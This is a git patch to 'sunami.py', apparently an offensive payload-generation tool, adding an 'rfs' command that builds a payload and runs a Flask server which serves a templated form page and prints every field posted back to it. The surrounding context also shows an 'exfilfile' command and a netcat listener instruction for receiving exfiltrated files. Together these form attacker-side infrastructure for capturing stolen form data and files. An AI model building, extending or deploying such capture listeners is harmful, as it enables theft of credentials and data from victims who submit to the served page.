From 3412a110a69d9847136bd9e7822d82c700eea75a Mon Sep 17 00:00:00 2001 From: witchdocsec <107813117+witchdocsec@users.noreply.github.com> Date: Sun, 9 Jul 2023 10:58:30 +0100 Subject: [PATCH] Update sunami.py --- sunami.py | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) diff --git a/sunami.py b/sunami.py index 0e85659..d8c18c9 100644 --- a/sunami.py +++ b/sunami.py @@ -83,4 +83,21 @@ if args.command == "exfilfile": break if args.method == "nc": - print(f"on your machine run the following:\n\tnc -lvnp{args.port}") \ No newline at end of file + print(f"on your machine run the following:\n\tnc -lvnp{args.port}") + +if args.command == "rfs": + comm=payloads.RFS.run(args.ip, args.port, args.schema) + routeres(comm,args.local) + from flask import Flask, request, render_template + app = Flask(__name__) + @app.route("/rfs",methods=["GET"]) + def rfs(rfvs=args.vars): + rfsvars={v.split(":",1)[0]:v.split(":",1)[1] for v in rfvs} + return render_template(os.path.join("rfs",args.file),rfsvars=rfsvars) + @app.route("/l",methods=["POST"]) + def listen(): + for key in request.form.keys(): + print(f"{key}:{request.form[key]}") + return "" + if __name__ == "__main__": + app.run(host=args.ip, port=int(args.port))